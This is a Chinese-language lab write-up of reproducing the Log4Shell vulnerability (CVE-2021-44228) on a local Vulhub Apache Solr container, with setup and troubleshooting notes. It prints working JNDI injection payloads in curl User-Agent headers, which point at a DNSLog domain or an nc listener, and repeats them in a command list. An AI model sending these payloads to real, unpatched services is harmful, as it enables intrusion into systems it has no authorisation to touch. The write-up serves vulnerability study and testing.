# CVE-2021-44228 (Log4Shell) 漏洞完整复现记录
本记录基于 Vulhub 提供的 Apache Solr 8.11.0 靶场,完整复现了 Log4j2 JNDI 注入漏洞,成功通过 DNSLog 和本地 LDAP 监听验证漏洞存在性。
## 一、实验环境
- **操作系统**:Windows 11 + WSL2 (Ubuntu)
- **容器平台**:Docker Desktop 4.76
- **靶场来源**:Vulhub (vulhub/log4j/CVE-2021-44228)
- **目标服务**:Apache Solr 8.11.0(含 log4j-core 2.14.1)
- **攻击机**:本地主机(同时作为 DNSLog 客户端和 LDAP 监听端)
## 二、环境搭建过程
### 2.1 获取 Vulhub 源码
由于 GitHub 直连不稳定,使用 Gitee 镜像加速:
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git
2.2 解决国内网络下的 Docker 镜像拉取问题
配置阿里云专属镜像加速器(登录容器镜像服务获取个人地址):
打开 Docker Desktop → Settings → Docker Engine
修改 registry-mirrors:
json
{
"registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
点击 Apply & Restart
如果仍遇到 TLS handshake timeout,进入 WSL 执行 sudo hwclock -s 同步时间。
2.3 启动 Solr 容器
bash
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
输出显示成功:
text
✔ Image vulhub/solr:8.11.0 Pulled 117.7s
✔ Container cve-2021-44228-solr-1 Started
访问 http://localhost:8983/solr 出现 Solr 管理界面,环境就绪。
三、漏洞复现步骤
3.1 创建测试 Core
Solr 默认没有 core,需要手动创建:
bash
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
返回 "status":0,core test 创建成功。
3.2 使用 DNSLog 检测漏洞存在性
打开浏览器访问 http://dnslog.cn,点击 Get SubDomain,获得一个临时域名,例如 abc123.dnslog.cn
在命令行中执行(使用 curl.exe 避免 PowerShell 别名干扰):
bash
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
回到 http://dnslog.cn 页面,点击 Refresh Record,立即出现 DNS 解析记录,证明漏洞存在。
3.3 本地监听验证(深入验证)
在 WSL 中开启监听:nc -lvp 1389
获取宿主机 IP(Windows PowerShell 执行 ipconfig,找到 WSL 虚拟网卡 IP,如 172.30.208.1)
发送带本地 IP 的恶意请求:
bash
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
观察 nc 窗口,显示连接信息:
text
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
证明 Solr 成功向攻击机发起了 LDAP 查询,漏洞复现成功。
四、漏洞原理简述
Apache Log4j2 提供的 JndiLookup 功能允许在日志消息中使用 ${jndi:ldap://...} 格式的占位符。当日志消息被记录时,Log4j2 会解析该占位符并尝试通过 JNDI 访问远程 LDAP 服务器。攻击者可搭建恶意 LDAP 服务器返回 Java 反序列化 payload,从而实现远程代码执行。
本复现中,通过设置 User-Agent 头为恶意 payload,Solr 在处理请求时记录了该头信息,触发 JNDI 查询,证明了漏洞存在。
五、实验成果总结
✅ 成功搭建 Vulhub 漏洞环境,克服国内网络下的多种问题(DNS 劫持、镜像加速、WSL 时间同步等)。
✅ 独立完成漏洞触发,通过 DNSLog 和本地监听两种方式验证 JNDI 注入。
✅ 深入理解 Log4Shell 漏洞原理及 JNDI 注入的攻击链路。
✅ 积累了 Docker 网络排障、WSL2 配置、Git 代理清理等实战经验。
六、排障经验总结
问题现象 根本原因 解决方法
git clone 502 / 连接超时 DNS 劫持 / 代理干扰 使用 Gitee 镜像,清除 Git 代理,刷新 DNS
Docker 拉取镜像 429 公共镜像源限流 配置阿里云专属加速器
TLS handshake timeout WSL2 时间不同步 sudo hwclock -s 同步时间
漏洞无法触发 未创建 core 或 payload 位置错误 创建 core,使用 User-Agent 头
七、完整命令清单
bash
# 克隆 Vulhub(使用 Gitee 镜像)
git clone https://gitee.com/hanxu2486/vulhub.git
# 进入漏洞目录
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
# 启动环境
docker-compose up -d
# 创建 Solr Core
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
# DNSLog 验证
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# 本地监听验证(WSL 中运行 nc)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# 关闭环境
docker-compose down
八、参考链接
Vulhub 官方项目
CVE-2021-44228 详情
DNSLog 平台
编写日期:2026年6月
作者:HanXu
仓库地址:https://github.com/hmxh123/Log4Shell-Vulnerability-Replication